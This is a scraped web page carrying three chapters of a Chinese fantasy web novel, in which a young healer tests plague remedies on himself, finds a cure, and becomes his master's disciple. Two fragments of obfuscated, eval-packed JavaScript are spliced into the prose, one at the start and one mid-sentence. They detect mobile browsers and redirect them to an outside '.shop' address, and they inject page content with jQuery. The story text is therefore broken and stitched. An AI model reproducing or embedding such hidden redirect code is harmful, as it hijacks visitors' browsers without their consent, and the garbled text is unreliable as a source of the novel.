l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687340|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他每天只能睡不到三个时辰。他面临着被传染的压力,熬药、记录、照顾师父和病人,确实很累了。 段星河很担心他,恨自己不懂医术,帮不上忙。他指了指边上的一个食盒,道:“给你的。” 步云邪看那个食盒跟另外两个没什么区别,还是点了点头。他关上了气窗,把饭拿进去。李慈心正在书案前研究药方,他放下了食盒,又给孙小竹送了饭,自己才有了短暂的休息时间。 他消过了毒,打开了食盒。里头有一碗八宝粥,一碗米饭,一碟炒青菜,一份酱豆腐,一块炖肉。米饭旁边有一个拇指大小的小纸包,方方正正的,白底上印着淡黄色的小花。他打开一看,里头是几块黑糖,还带着淡淡的桂花香气。 他想起小时候寨子里爆发了瘟疫,自己也染上了病,只能在屋里待着。段星河想来看他,寨子门口的人怕传染,不让他进。段星河就用零花钱去集市上买了一盒桂花黑糖,托人送了进来,不想让他吃药苦。 那时候自己还不明白发生了什么,小小的身影趴在门上向外望去,大人们来来回回地忙碌,那情形依稀还在眼前。一眨眼他们已经长大了,当时被保护在身后的他们,如今也成了直接面对危险的大人。 他把糖塞进了嘴里,闭上了眼,让自己休息片刻。 “等我,我能做到的。” 他把糖纸放在心口的衣袋里,感到了一股力量。他端起了碗,打算多吃点饭,才有力气干活儿。 傍晚歇了一会儿,步云邪去收拾食盒,发现李慈心根本没动饭。他走进里屋,见李慈心躺在床上,脸色蜡黄,头上满是汗水。步云邪的心一沉,意识到事情不妙。这些天李慈心跟那孩子接触的最密切,他本来就被传染上了,加上连日劳累,此时终于病倒了。 李慈心怕传给步云邪,一直尽量避免跟他接触,有什么事都是写一张条放在隔间里。也多亏了他的保护,步云邪到现在还没被传染上。他伸手一碰李慈心的额头,感到一阵滚烫,已经发烧了。 步云邪有些手足无措,李慈心是这里的顶梁柱,如果他倒下了,药庐里的这些人怎么办? 李慈心睁开了眼,咳嗽了两声,道:“对不起……孩子,我撑不住了。” 步云邪道:“我给您熬药,吃了药休息几天,会好起来的。” 李慈心道:“我拟的方子,还有三个没试完……你熬了给我送一份来,看看成不成。” 步云邪有些难过,都病成这样了,他想的还是拿自己试药。步云邪道:“我这就去。” 他站了起来,李慈心忽然抓住了他的手,干裂的嘴唇动了动。步云邪道:“先生还有什么吩咐?” 李慈心觉得把这么沉重的担子交给他,有些过分,可城里这么多人的性命都系在他们身上,不这么做也没有别的选择了。 “小云,你是个好孩子,这段时间帮我做了很多事。我心里……早就把你当成我的徒弟了。” 步云邪有些动容,李慈心道:“我若是不行了,这药庐的事就由贺宇昭主持,你来帮他。我的千金医典,传给你和他二人。这里的一切,也有你的一份。我已经写了手令在桌上,你若是愿意,便与我磕个头来,也算我收个合意的关门弟子。” 步云邪的目光微微动荡,只觉得这么做有些不妥,道:“您的二弟子……” 李慈心道:“他的心不在医道上,做个商人更合适。我不想勉强他,若是他要把属于他的一份带走,也由得他。” 步云邪做这些事是出于医者的本分,从没想过要瓜分任何东西。他对于这里只是一个过客,不想卷到这些纷争中去。他道:“先生,你会好起来的,现在别想这些事。” 李慈心的目光渐渐黯淡下来,明白了他的意思。他垂下了眼,道:“我是医生,我的情况我心里清楚……如果我死了,你就把我烧了。至于那个孩子,一直关在这里,不要让他再出去了。” 步云邪的心情有些沉重,点了点头。他去了隔间,在书桌上找到了三个药方,还有一封手令,是李慈心亲笔写的。上面说他收了步云邪做徒弟,让他扶持贺宇昭做药庐的下一任掌事。 他把手令收了起来,放在了抽屉里。现在不是想这些的时候,李慈心的时间所剩无几了,他必须尽快把药研究出来。 步云邪熬了药,给李慈心喝了。李慈心不时咳嗽几声,方才他吐了血,外袍上沾了好几块血迹。步云邪帮他换了下来,把用过的东西消了毒,装在一个小车上。每天戌时会有人来收拾用过的东西,换新的过来。 那人敲了敲门,步云邪把小车推出去,接了干净的衣衫和用具进来。他把衣服收在了衣橱里,回房歇了一会儿,感觉自己的身体也有些不舒服。 步云邪伸手摸了一下自己的额头,感觉有些发烫。他不敢多想,只觉得能多撑一刻是一刻,可他的喉咙已经隐约疼起来了。他吃了药,早早地躺下了,希望明天能好一些。 次日一早,步云邪感觉身体还是不太好受。他去看了李慈心,他的病也没什么起色,还是断断续续地咳嗽。这时候外头有人敲门,哐哐哐哐,好像一刻也等不得了。 步云邪连忙去开了门,却见段星河在外头,低声道:“李先生病了?” 他的神色十分迫切,又很担心。这件事只有步云邪知道,不知道消息是怎么走漏的。他诧异道:“你怎么知道?” 段星河见他这个反应就知道是真的了,道:“前头吵起来了,有人见李慈心换下来的衣服上有血迹,又听见他在屋里咳嗽,撕心裂肺的,想是病得不轻。周子龙手底下的人说李慈心也被传染上了,药庐要垮了,要赶紧收拾东西分家,贺宇昭正在前头跟他掰扯呢。” 步云邪没想到自己一时大意,泄露了这么重要的消息。这些天他疲惫得很,没办法把每件事都办的滴水不漏,揉了揉眉心道:“是我没想周全。” 段星河没有怪他的意思,道:“纸里包不住火,这种事早晚会被他们知道。那姓周的说建这药庐他家出了三成的钱,是真的么?” 步云邪听贺宇昭说过一些他们之间的事,道:“应该是吧。” 周家在当地经营药铺,当初建这个药庐的时候,周家出了不少钱资助李慈心,让儿子周子龙做了李慈心的弟子。他家算盘打得精,想要百年之后连本带利把整个药庐继承过来。李慈心本来也不在乎这些,只想把医道传承下去。只是二弟子实在太精明算计,凡事只想着利益,与老先生治病救人的理念冲突,他也就渐渐对这个弟子失望了。 周家能感到李慈心对周子龙的疏远,但也不舍得就这么放弃,一直拖到了现在。但如今连李慈心都病倒了,周家觉得没指望了,不想等到最后跟他们一起覆灭。一家人商量了一夜,打算赶紧撤出去。至于这药庐里的病人,他们也不想管了。 周家要是此时走了,药庐就四分五裂了,其他的人也会逃个精光。没有医生,就算有官府的人也没用。 城里的百姓还指望着他们治病,绝对不能在这个时候分家。贺宇昭现在必然焦头烂额的,李慈心病得奄奄一息,不能再拿这些事烦他了。 段星河道:“那怎么办?” 步云邪想起了昨天他给自己写的那封手令,老人家已经把他当成了徒弟,甚至像是亲生儿子一般信赖。步云邪不能坐视不理,抬手推开了院门,道:“走,过去看看。” 47.瘟疫 四 步云邪和段星河来到了前院,见黑压压的聚集了一群人,都是穿白衣裳的医者。 周子龙身前站着一拨人,贺宇昭身边站着一拨人,两群人都是李慈心的弟子,平日里就有些小嫌隙,如今终于爆发了出来。 在外面守卫的官兵听见了争执声,也过来了。但这是他们内部的事,官兵也不好插手,只能在旁边看着。 周子龙三十出头年纪,生着一双细长的眼睛,身材高挑。他身边的人大多数都是他从周家带来的家仆,还有些宗族兄弟,虽然跟他一同在这里学医,却都听他的。他要分家,又不想担骂名,便让这些人出来先闹事。院子里放着他们的衣裳行李,甚至还有几个黄花梨的家具、紫檀木的药箱,看来他们是打算把这里倒空了。 贺宇昭皱眉道:“你们这是做什么?” 一人道:“师父病了,你还瞒着我们。这病治不好了,早晚大家都得传染上,还不如赶紧分家的好。” 又有人道:“三师兄,师父最疼你,你若要这破药庐你就留下。你行行好,把钱给大家分了,也算我们没白跟你卖命一场。” 众人纷纷道:“对,分钱,把遣散费给我们!” 贺宇昭早晨没去看师父,消息还没有他们灵通,此时心慌意乱。但师父把药庐的担子交给了他,他就不能让老人家多年的心血付之东流。 他道:“各位,听我一言——现在瘟疫还没平息,大家要是走了,咱们城里的百姓就没人保护了。我相信各位都是出于医者仁心才来到这里,既然能坚持到今天,就说明各位还是把百姓放在心上的。师父已经快研制出药方了,大家何妨再等一等呢?” 对面众人静了片刻,有人道:“师父病重了,药方已经没指望了,你还想骗我们到什么时候!” 那人此言一出,群情又激愤起来。周子龙出了本钱,这些年也没得到重用,对被偏爱的三师弟很是不满。此时见他被围攻,一直冷眼旁观。贺宇昭看向了他,道:“二师兄,你不管管么?” 周子龙淡淡道:“事情发展到这个地步,你们必须得给个交代。大家不能拿命跟你们耗着,如果实在维持不下去,分家也不是坏事。” 贺宇昭一筹莫展,这时候就听一人道:“不能分家!” 步云邪大步从后头赶了过来,段星河跟在他身后。两人穿过人群,来到周子龙跟前。步云邪道:“周二哥,药庐里还有这么多病人,咱们深受全城百姓托付,不能弃他们不顾。城已经封了,你们就算离开这里也出不去。一旦药庐散了,病情势必发展的更严重,所有人都会被传染。” 周子龙知道他说的不错,但就是忍不下这口气,冷冷道:“师父呢,他怎么说,请他出来发话。” 到了这个地步,他还是敬重李慈心的,但心底对他也有恨。他明知道李慈心已经起不来了,还要逼他出来见自己。步云邪知道他心里不平,道:“先生在内院接触病人,不便跟大家相见。他托我跟周二哥说一声,他很感激你这些年的帮助,你与他既如师徒,也如父子。没有你,药庐不可能开得起来,你为他做的事,他都记在心里。” 这些话虽然不是李慈心自己说的,但步云邪看过他亲笔写的手令,对于二弟子,他确实是有这个意思的。周子龙似乎有些动容,步云邪道:“现在是最关键的时候,师父希望你能够再帮他一次。” 有人道:“若是师父病倒了,咱们怎么办?” 步云邪道:“李先生的研究快有结果了,再给我们几天时间,一定能找到药方的!” 贺宇昭上前一步,恳切道:“二师兄,咱们是一家人,你不能在这时候走。留下来,求你了!” 周子龙的目光微动,想起了从前跟他们在一起念书的时光。他学医的天赋不如他们,心里是有些嫉妒的,在这里待下去,他也只是个陪衬。可一想到师父教自己的恩情,他又狠不下心来跟他们一刀两断。 旁边一人低声道:“二师兄,怎么办,我们都听你的。” 周子龙深吸了口气道:“我再给你们十天时间,到时候还没有结果,就别怪我带人离开了。” 对面众人都松了口气,贺宇昭拱手向他行礼,道:“多谢你,二师兄。” 周家的那些人还有些不甘心,周子龙一摆手道:“都散了吧,把东西抬回去,该干什么干什么。” 他发了话,其他人只好照办。一群人把行李背回了住处,觉得白折腾了一场。一名弟子道:“嗐,还以为能回家了呢。” 另一人道:“回家也没什么好的,传染给老婆孩子么?还是关在家里等死?” 一人道:“他们说师父还好好的,说不定真的能找到治病的法子呢?” 又一人道:“也不知道是真的还是假的……反正也没几天了,再等等看吧。” 周子龙清楚师父已经病倒了,看着众人离开了,他走到贺宇昭面前,道:“还有十天时间,你们能做什么?” 没有外人了,贺宇昭也不必跟他绕圈子了。他方才就下定了决心,若是师父不行了,就由自己继续研究。他道:“还有几个方子,我一一试过来,总会有结果的。” 周子龙冷笑了一声,道:“以身试药,你不想活了?” 贺宇昭知道他恨自己,也觉得自己抢夺了属于他的关注。他心里一直有些愧疚,但若是大师兄还在的话,他们师兄弟之间也不会有这么多嫌隙。他低声道:“我受师父教养这么多年,也该报答他了。前头的事,还请二师兄代为主持。” 他代表的是李慈心的意志,若是他也传染上了,药庐就彻底完了。步云邪道:“还是我来试药吧。” 那两人都看着他,仿佛觉得不可理喻。步云邪道:“这些天我一直跟李先生在一起,密切接触病人,没必要再多一个人冒险了。” 段星河皱起了眉头,道:“你若是被传染上怎么办?” 步云邪轻咳了两声,道:“我已经被传染了,天天守着那孩子,我怎么可能幸免。” 从昨天夜里开始,他就感觉有些不舒服,像极了那些病人发病初期的模样。步云邪不敢多想,可到了这个地步,也没办法回避了。 段星河的心猛地一沉,下意识拉他的手,发现他的手果然有些烫。步云邪的眼中带着血丝,轻声道:“我得了病,不试药也是浪费,就由我来吧。” 他抬手行了一礼,转身离去。段星河跟了上去,步云邪低声道:“别过来,你在外面帮其他人。” 段星河知道他怕传染给自己,望着他的背影,心像是被捏紧一般难受。 步云邪回到了小院,感觉十分疲惫,坐在台阶上歇了一会儿。孙小竹趴在窗户上,探头探脑地看他。 “哥哥,你怎么了?” “没事,”步云邪道,“你饿了么,我拿饭去了。” 他把食盒递了过来,动作有些迟缓。孙小竹隔着门帘望着他,担心道:“哥哥,你是不是被我传染了?” 步云邪静了片刻,道:“没有,就是有点累。你吃饭吧,我也去吃点东西。” 孙小竹一直望着他,步云邪回到了房中,靠着床头歇了片刻。隔壁传来了李慈心的咳嗽声,他想起早晨还没熬药,拖着病体来到书房。桌上放着李慈心拟的药方,还有两个没试过。 步云邪照着一张抓了药,在厨房里熬了。他不光身体沉重,嗓子也开始疼了。汤药散发出苦涩的味道,他守着炉子,神思有些恍惚。 自己对于这座城池、这个药庐,不过是个过客,他也不知道自己为什么要做到这个地步。可他没办法对这一切置之不理,他想救更多的人,那股意念冥冥之中让他停留在这里,仿佛他来到此处就是为了这件事。 他叹了口气,觉得自己死不足惜,只是对不起自己的兄弟们,还有青岩山的家人。如果自己不在了,不知道他们会不会难过。 药熬好了,步云邪自己喝了一碗,给李慈心喂了一碗。李慈心已经病的睁不开眼了,吃了药又陷入了沉睡。 步云邪忙完了所有的事,感觉身体酸痛的厉害,呼吸也有些困难。他回屋倒在了床上,咳嗽了几声,闭上了眼睛。药已经吃了,不知道有没有效果。强烈的疲惫感笼罩了他,他的意识渐渐沉入黑暗中,等待死亡,或是重生。 段星河傍晚去送了一回饭,他敲了几声门,里头没有回应。段星河怕打扰到他,便把食盒留在了门口。次日一早,他又去送饭,发现昨天拿来的食盒根本没动。段星河生出了不好的预感,拍了拍门,大声道:“阿云!” 里头没有回应,几只鸟雀叽叽喳喳地叫着飞走了。段星河用力拍门,喊道:“阿云,你没事吧!” 他敲门的声音引来了几个弟子,七八个人聚集在院门前。一人道:“怎么了?” 段星河道:“里头的人从昨天下午到现在一点动静都没有,是不是出事了。” 其他人也很担心李慈心,不知道他老人家怎么样了。一名弟子道:“里头栓着呢,怎么办?” 段星河把心一横,道:“不管了,砸开!” 他哐哐几脚下去,当啷一声把大门上的木拴踢掉了。一群人一拥而入,见院子里静悄悄的,没有人。孙小竹刚睡醒,扒着窗户看他们,道:“怎么啦?” 段星河道:“你云哥呢?” 孙小竹指了指他的卧房,段星河一个箭步冲了过去。步云邪躺在床上,地上有几滩他吐出来的血,已经干涸发黑了,他躺着一动不动。段星河的心蓦地停了一拍,站着不敢动了。身后有人低声道:“怎么回事……死了吗?” 另一个弟子道:“呸,别触霉头!” 又一人道:“师父呢,要是都不行了,咱们怎么办?” 段星河耳朵里嗡嗡的,已经什么都听不见了。他往前走了一步,低声道:“阿云,阿云你醒醒。” 他把步云邪带到这个世界,若是不能把他带回去,怎么向他的家人交代? 他的身体忍不住颤抖,哑声道:“你别睡了,睁眼看看我……” 步云邪仿佛听见了他的声音,身体猛地一震,咳嗽了几声,缓缓睁开了眼。他的神色憔悴,身体极其虚弱,但总算人还活着。段星河又惊又喜,道:“你没事?” 步云邪夜里吐了一阵子血,但药效上来之后,出了一身汗,烧渐渐退了。他一直昏睡到现在,整个人都有些恍惚,一时间不知道发生了什么。他看着面前的人,这才想起了是怎么回事。 他摸了摸自己的额头,体温降下来了,身体也没有那么疼了。他喃喃道:“烧退了……这药是有效的?” 其他人看着他,大气也不敢出。步云邪意识到自己找到了治疗瘟疫的方法,整个人顿时振奋起来。他勉强从床上坐起来,指着桌上的药方道:“快点,去看看李先生。照这个方子去熬药,给病人服下!” 这是他用命找到的药方,上天终于垂怜了他们,把一丝奇迹照了下来。众人如梦初醒,连忙行动起来,纷纷去抄药方,熬药。步云邪来到了主屋,李慈心也已经醒了。他还有些咳嗽,但高烧已经退了。步云邪扑到床头,激动道:“师父,药方找到了,咱们都有救了!” 李慈心也有些难以置信,眼泪淌了下来,道:“好、好,咱们命不该绝,这城里的百姓都有救了!” 步云邪道:“我已经让人去熬药了,要是能治好其他病人,就把这个方子公布出去。” 李慈心点了点头,他静了片刻,又道:“好孩子,方才……你叫我什么?” 步云邪迟疑了一下,想起自己激动之下管他叫了师父。他跟李慈心学习了这段时间,其实心里早就这么认定了。他笑了一下,道:“师父。” 李慈心高兴的不得了,伸手摸了摸步云邪的头发,道:“好孩子,你愿意认我做师父,老头儿真的很高兴!” 他救了这么多人,医术高明,心地也善良,步云邪十分敬重他。他道:“我跟您学了很多东西,师父愿意教我,是我的福气。” 阳光照在城里,扫去了连日来的阴霾。药庐里的医者花了半个月的时间,把药庐里大部分的病人治好了。又把药方交给了官府,分发到了各个药房,写成公告张贴出来。百姓们纷纷照方抓药,一些病的不重的病人好了起来。张太守让官兵连着给城里消了十来天毒,再没有新增感染的病例。 步云邪给孙小竹服了一段时间药,发现他的传染性也消失了。他摘去面罩亲自跟孙小竹待了一天,也没有任何不适的感觉。零号病人也痊愈了,这场瘟疫彻底结束了。 药庐里的人得知孙小竹也好起来了,都十分激动。这里的弟子不久前还跟着二师兄和三师兄分成两派,一副水火不容的模样。此时却像是共同打赢了一场大仗,看彼此都像难兄难弟,抱在一起喜极而泣。周子龙没再提分家的事,好像什么都没发生过。李慈心知道了自己生病的时候发生的事,把他叫到了书房,道:“这段时间以来,你主持着前头的事辛苦了。” 周子龙的心情有些沉重,他来之前已经做好了准备,若是师父斥责自己不孝,在危难之际动摇根本,要把他逐出师门,他也认了。但李慈心的态度温和,似乎没有要责备他的意思。 他垂着眼,淡淡道:“都是弟子应尽的职责,师父过奖了。” 步云邪和贺宇昭也在,静静地站在一旁。李慈心道:“这段时间来,师父也想过很多。为师沉醉于医道之中,对你是有所忽略。其实这些年来,你帮了为师很多。这药庐最初就有你一部分,经营了这么多年,也有你的心血。” 他把一张银票推了过去,道:“你若是想走,为师也不拦你。这些是当初周家入股的本钱,还有师父该补偿给你的部分。” 周子龙没说话,李慈心道:“若是你还愿意做我的徒弟,百年之后,这些也还是你的。为师……舍不得你,但究竟要去还是留,都由你自己决定。” 周子龙有些动容,看着李慈心的目光很是难过。不管家里怎么想,他从十岁起跟着李慈心学医,是把他当成半个父亲来看的。以前大师兄在的时候,师父不在意自己也就算了。可后来三师弟来了,师父对他也比自己更加看重,让他心里十分不平衡。 别人都说他野心勃勃,却无人知道他只想让师父多看自己几眼,就算自己的资质有限,没办法继承他的衣钵,也希望能够多帮一帮他。 就算是感情用事也好,他想放任自己跟随真正的想法一次。他哑声道:“师父,我喜欢医术,我想继续跟着您。” 李慈心的眼中顿时涌起了泪水,没想到他会这么说。他哑声道:“好、好,师父也舍不得你,以后咱们好好过。你不是一直想学那套鬼门针法么,师父手把手教给你!” 周子龙点了点头,声音也有些哽,道:“多谢师父。” 李慈心转身看向了步云邪,道:“这段时间多亏了小云一直帮我,为师收他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701301|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做了个关门弟子,你们觉得如何?” 贺宇昭已经知道了,高兴道:“多一个人传承师父的医术,当然是好事!” 周子龙知道他这段时间做了许多事,甚至不顾性命救人,比自己付出的要多的多了。他道:“这是好事,弟子也为师父高兴。” 他看向步云邪,道:“小师弟,欢迎你。” 步云邪抱拳向那两人行礼,道:“拜见二师兄、三师兄。” 李慈心微微一笑,感觉这个家又完整了。他救了那么多人的家庭,上天还给他一个完整的家,也算是对他的回报吧。 笼罩在长阳郡上空的阴云散去了,一团黑气渐渐缩了起来,一缕青烟似的向阴暗处飘去。一个黑衣男子漂浮在半空中,他的气质阴沉,脸色黧黑,左胳膊上戴着一条蛇形的金臂环,正是跟薛红玉齐名的金环使。那缕黑气钻进了金蛇大张的嘴里,悄然消失不见了。 薛红玉坐在一条硕大的赤练蛇上,手上挽着一条金色的披帛,银红色的衣裙在风中不住摆荡。她有些气恼,道:“怎么会这样……好不容易借着发大水的机会把瘟疫散播出去,这就结束了?” 金环使道:“那你想怎么样?” 薛红玉道:“这才收集了多少力量,怎么跟教主交代?” 他们本来盯上了这一城人的性命,要拿他们做祭品,没想到半路有人杀出来救了这些人。金环使皱眉道:“没办法,碰上不要命的了。谁能想到那几个小子拼了命找到了源头,还以身试药。” 薛红玉气得不行,愤愤道:“又是那几个臭小子,一直阴魂不散地跟咱们作对……我早说要杀了他!” 金环使淡淡道:“主上不让杀,你敢擅作主张?” 薛红玉道:“那也不能就这么看着他们坏咱们好事啊。” 金环使道:“你急什么,这一路有的是人想要他们的命。等着瞧吧,他们早晚得死在别人手里。” 薛红玉看着他的金臂环,道:“就收集了这点力量,教主会不会罚咱们?” 金环使无情道:“不是罚咱们,是罚你。这本来就是你的事,我是来帮忙的。” 薛红玉皱眉道:“你这人怎么回事,之前万通商会那事你也没办成,还有心思嘲笑我。” 金环使道:“那就都自求多福吧,我先去向教主请罪,你过两天再来。” 他一拂衣袖,身影就这么消失了。薛红玉想起自己辛苦收集的力量都被他夺走了,急道:“喂,你回来——那是我的功劳,你还给我!” 瘟疫结束了,药庐里的病人们都痊愈回家了,百姓们恢复了日常的生活。街上的店铺开了门,行人来来往往的,整座城又变得生机勃勃。张太守十分感谢李慈心等人的帮助,把这边的事上报了夷州王。数日后,夷州王派使者前来表彰李慈心,贺宇昭、周子龙和步云邪的功劳,给每人二百两银子赏钱,还特地赐给李慈心一块金字招牌,仁心仁术。众人站在药庐中,听使者宣读完了王令,觉得十分荣耀。 李慈心让人把招牌挂在了正堂上,有了夷州王赐的招牌,慈心药庐的名声便能传播的更广,他也能收集到更多医方,完善他的千金医典。 至于那些赏钱,李慈心没花,让贺宇昭安排一下,给牺牲在这场瘟疫中的医者家人送去。贺宇昭道:“师父,您不留点钱养老?” 李慈心道:“我留那么多钱干什么。这次能战胜瘟疫,不是我一个人的功劳,没有那些牺牲的同道,咱们也不可能坚持到最后。” 贺宇昭小声道:“那我是不是也得意思一下?” 他虽然这么说,但显然有点舍不得。周子龙笑了,道:“你还要攒钱娶媳妇,自己的赏钱自己留着呗。” 贺宇昭松了口气,他家里就剩自己一个人了,确实得为未来打算。李慈心道:“你们年轻,用钱的地方多,都自己留着吧。” 正说着话,前头街上敲锣打鼓的来了一大群人。几十个小伙子穿着白坎肩,头上戴着大红花,最前头的几个人抬着一头刚宰的猪,后头有人抬着十来坛美酒,还有些绑着翅膀的活鸡活鸭,火腿、腊肉之类的东西,喜气洋洋地朝这边过来了。 队伍来到了慈心药庐门前,院子里的人听见了动静,都出来看热闹。领头的人正是前阵子在街上带人闹事的杀猪匠刘炎。段星河一见他就心气不顺,双手抱臂道:“哎,这不是上次跟咱们打赌的那个人么?” 赵大海道:“还真是,二师兄赢了他要干什么来着,可别耍赖啊。” 过了这么久,步云邪差点要把这人忘了,没想到他还会主动过来。众人一时间也说不好对方来干什么,沉吟着没说话。 刘炎一抬粗壮的手臂,颇有大哥大的气势,吹打班子停止了吹奏,众人把礼物担子放在了地上。刘炎在人群中望见了步云邪,登时一个箭步过来了,二话不说就要给他磕头。 “好兄弟,之前是我不明事理,差点耽误了大事,今天我来跟你请罪了!” 步云邪吓了一跳,连忙让开了一步,单手扶住了他道:“使不得,快请起来!” 这人的脾气一根筋,跟他们作对的时候横的不得了,如今要跟他们道歉也毫不含糊,倒是条汉子。刘炎由衷道:“你说到做到,救了这一城的人,大伙儿都很感激你们。这头猪是我早上刚杀的,请你们收下。还有这些酒和肉,都是给你们的谢礼!” 步云邪道:“不必了,官府已经给过我们嘉奖了。” 刘炎瞪起眼来道:“那不成,官府给的是官府的。这是我们百姓的心意,你必须收下!” 一同来的其他人也大声道:“就是,收下吧!你是我们的恩人,别客气!” 刘炎转过身,从竹筐里拿起一根布满了盐霜的火腿,塞到了步云邪的怀里。那条腿有人半个身子大,沉甸甸的。步云邪接在手里,人都被坠得后退了半步,道:“那就恭敬不如从命了。” 刘炎拍了拍胸膛,认真道:“以后你们就是我老刘的朋友了,来我这儿买猪肉打五折。有人找你麻烦只管来跟我说,要打架还是出头,兄弟都带人来帮你!” 步云邪想自己快要离开了,应该不会去买肉了。但那些人都热切地望着他,希望他留在这里。步云邪笑了一下,道:“好,多谢。” 百姓们把礼物留了下来,欢喜地走了。火腿散发着浓郁的香味,步云邪把它放回了筐子里。小对眼从宋胡缨的兜帽里钻出来,伸舌头舔了舔嘴巴。宋胡缨头也没回,把儿子按回兜帽里,道:“这不是给你吃的,齁咸。” 李玉真道:“做成蜜汁火方会好点吧?” 伏顺看着满当当的食物担子,觉得十分幸福,道:“还可以用腊肉炖冬瓜、做烧鸡、烤鸭、炖排骨,配上白米饭吃,哎呀……” 赵大海搓了搓手,兴奋道:“我来做,我来做!” 他一开口,大家顿时觉得没那么好吃了,空气中甚至飘起了一股玉米味。伏顺一手搂住了赵大海的肩膀,道:“兄弟,好不容易忙活完了,你歇几天吧。听说这里的厨师做饭很有一手,咱们尝尝他们的手艺。” 赵大海寻思着这些东西是送给步云邪的,道:“那二师兄做主吧。” 筐里的鸡鸭鹅伸着脖子叨来叨去,开了膛的大肥猪身上绑着大红花球,美酒也散发着香气。步云邪道:“师父,都交给厨房吧,晚上大家一起吃点好的。” 李慈心笑了,道:“好,抬到厨房去吧。” 48.瘟疫 五 当天晚上,慈心药庐做了好几桌子宴席,请弟子们都来吃饭。饭堂里坐的满满当当的,每个人都分到一大碗美酒,还有排骨、烧鸡烧鹅、猪头肉,各种菜蔬摆了满满一桌。 段星河等人和李慈心、贺宇昭,还有周子龙坐在一桌上。月亮就快圆了,清辉洒在院子里,大家觥筹交错,十分热闹。半个月前他们无论如何也想不到,此生还会有这样的情形。 李慈心坐在上首,露出了慈祥的笑容,道:“今晚咱们大家庆功,不必拘束,开心就好。” 弟子们纷纷应和道:“多谢师父!” 贺宇昭道:“小师弟,今晚这么多好吃的,多谢你请客。” 步云邪笑了,道:“又不是我一个人挣的,你们都出力了,使劲儿吃。” 伏顺撕下一条鸡腿,狼吞虎咽地吃着,低声感慨:“好吃,就是比大海做得好。” 赵大海手里拿着一根猪蹄子,忙着吃东西,也没注意他说什么。有人给小对眼和墨墨在墙角摆了两个大碗,里头有专门为它们煮的肉,没搁油盐。 两个崽子低着头吃的十分欢实。李玉真看着墨墨稀稀拉拉的背,感慨道:“跟着咱们受罪了,毛都秃了。” 伏顺嘴里嚼着肉,道:“他俩自己会去抓老鼠吃。夏天这么热,掉点毛不是很正常吗。” 有人用木桶提了几个大西瓜过来,道:“吃西瓜了,刚湃好的大西瓜!” 贺宇昭道:“刀呢?” 宋胡缨下意识要摸她一丈长的大刀去砍西瓜。段星河从隔壁桌上拿了把菜刀过来,道:“我来吧。” 他把西瓜切开来,伏顺拿去给大家分了。段星河又割了两块小的,放在小对眼和墨墨的碗里。就吃一点,应该不会拉肚子。 吃完饭,众人各自散了。步云邪今天心情好,多喝了点酒。一点红晕从眼下透出来,发丝微微飘荡着,透着三份懒散随意,比平时更俊了。段星河怀里抱着墨墨,跟他一起往回走去。经过中庭的一个小池塘,就听一人道:“怎么上去的啊,一会儿看不见就乱跑。” 一棵繁茂的大枇杷树上传来一声猫叫,段星河抬头一望,却是小对眼爬了上去。它蹲在高处的一个树杈子上,探头看着下面,离地大约有一人多高。 墨墨耳朵动了动,想过去帮它,段星河伸手把它脑袋按住了。 步云邪道:“干嘛?” 李玉真和宋胡缨抬头望着树上,难得有机会相处一会儿。他道:“人家的事,咱们别多管。” 步云邪笑了,道:“就你心眼子多。” 宋胡缨想纵身跃上去,但喝得有点多,头昏昏沉沉的。李玉真也晕乎乎的,两个人看着小对眼,有些束手无策。李玉真伸出双手道:“你跳下来吧,我肯定接住你。” 小对眼往下看了一眼,又缩了回去,耳朵都耷拉下去了。李玉真道:“现在怂了,刚才怎么上去的?” 宋胡缨道:“猫爬树都往上看,当然不知道害怕,你别老说它。” 李玉真搔了搔头,道:“我不是说它……算了,我上去救它好了。” 他挽起袖子,抱住了大树,慢吞吞地往上爬去。那个姿势撅着屁股弓着背,看起来很不雅观。段星河站在远一点的地方,一脸惨不忍睹的表情,本来想给他个机会表现一下自己,没想到搞得这么狼狈。 如果能选的话,李玉真应该希望宋胡缨忘掉眼前的这一幕。不过她喝了酒,应该也不会记得这些吧。 步云邪双手抱着臂,悠然道:“帮倒忙了吧。” 李玉真不擅长爬树,爬到一半手就酸了,抱着树摇摇欲坠。宋胡缨一把推住了他的屁股,用力道:“上去!” 李玉真的心神一震,满脑袋都是心上人碰了自己不可说的部位。他也不知道是自己亵渎了她,还是她非礼了自己。但是她先出手的,自己毕竟是个纯情少男,她是不是要对自己负责? 李玉真脑子里乱哄哄的,僵硬地扒着树,连以后孩子叫什么都想好了。宋胡缨别的地方也够不着,虽然觉得不太妥当,还是使劲儿地推住了他的屁股。 尴尬的情形持续了没多久,李玉真的臂力不够,龇牙咧嘴地坚持了一会儿,还是掉了下来。宋胡缨叹了口气,失望道:“没用。” 男人最怕听见这两个字,不光李玉真的心灵受到了打击,就连远处的段星河和步云邪也感到了压力。这时就见宋胡缨手里凝结了一道白光,简单粗暴地一记手刀劈了过去。轰隆一声,那棵树的树枝带着尘土和叶子落了下来。 “嗷嗷嗷——” 小对眼吓了一跳,大叫着四脚朝天摔了下来,李玉真连忙扑过去接住了它。他摔的灰头土脸的,幸好猫没事。宋胡缨拍了拍手,风淡云轻道:“这不就结了。” 有弟子注意到了这边的情况,大声道:“那棵枇杷树怎么断了半截,那是大师兄亲手种的啊,师父很珍惜的。” 李玉真打了个激灵,左胳膊夹着小对眼,右手拉住了宋胡缨,低声道:“快走!” 宋胡缨还醉醺醺的,道:“劈了棵树而已,有什么了……” 李玉真连哄带骗地道:“没什么,那边月色好,咱们过去看看。” 弟子们已经朝这边过来了,段星河怕被他们抓到,连忙拉着步云邪从月洞门里钻过去,躲到墙后面去了。 